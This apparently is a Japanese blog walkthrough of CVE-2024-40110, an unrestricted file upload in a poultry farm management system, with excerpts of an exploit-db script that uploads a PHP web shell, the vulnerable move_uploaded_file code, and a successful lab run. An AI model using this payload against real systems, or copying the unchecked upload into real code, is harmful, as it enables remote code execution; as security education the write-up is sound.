CVE-2024-40110ついて解説します。
オープンソースの養鶏場管理システムの画像アップローダーを利用した脆弱性になっています。
脆弱性を試してみる
さっそく最初にハッキングしていきます!
脆弱性のあるページです。製品情報を入力するページですね。
右下には画像アップロードする項目があります。
product.phpの画像アップロード機能の脆弱性を突きます。
exploit-dbからコードを拝借します。
https://www.exploit-db.com/exploits/52053
以下抜粋してコード解説します。
- upload_url = f"{target}/farm/product.php"#postリクエストを行うリンク
- #投稿する文言
- payload = {
- 'category': 'CHICKEN',
- 'product': 'rce',
- 'price': '100',
- 'save': ''
- }
- # 実行したいコマンド作成
- command = "hostname"
- data = f"<?php system('{command}');?>"
- # 悪意のあるファイルデータを作成
- files = {
- 'productimage': ('web-backdoor.php', data, 'application/x-php')
- }
- try:
- print("Sending POST request to:", upload_url)
- response = requests.post(upload_url, files=files, data=payload,verify=False)#リクエスト送信
```
そして以下はproduct.phpのコード(抜粋)です。
- <?php
- $category=$_POST['category'];
- $product=$_POST['product'];
- $price=$_POST['price'];
- $image=$_FILES["productimage"]["name"];
- move_uploaded_file($_FILES["productimage"]["tmp_name"],"assets/img/productimages/".$_FILES["productimage"]["name"]);
move_uploaded_fileが脆弱性ポイントです!
move_uploaded_fileは名前の通り、ファイルを移動させる関数になります。
POSTで送られたファイルは$_FILES["productimage"]["tmp_name"]に格納されているパスに一時的に保存されています。
そこでmove_uploaded_fileを使い、本来保存させたい場所に移動させます。
上記ファイルだと「assets/img/productimages/」にアップロードしたファイル名(web-backdoor.php)で保存させています。
つまり、、、ファイルのチェックをされていないので、phpファイルを置くことができ、それを叩くとコードが実行されてしまうわけです。
- #ペイロードを置いたリンクを叩く
- shell_url = f"{target}/farm/assets/img/productimages/web-backdoor.php"
- shell_response = requests.get(shell_url, verify=False)
解説が長くなりましたが、実際に実行していきましょう!
- └──? $python3 payload.py?
- Sending POST request to: http://172.26.16.100/farm/product.php
- <Response [200]>
- Response status code: 200
- Shell has been uploaded successfully: http://172.26.16.100/farm/assets/img/productimages/web-backdoor.php
- Command output: parrot
hostnameコマンドを叩いているので、その結果がCommand output:parrotで返って消えいるので成功したことがわかります。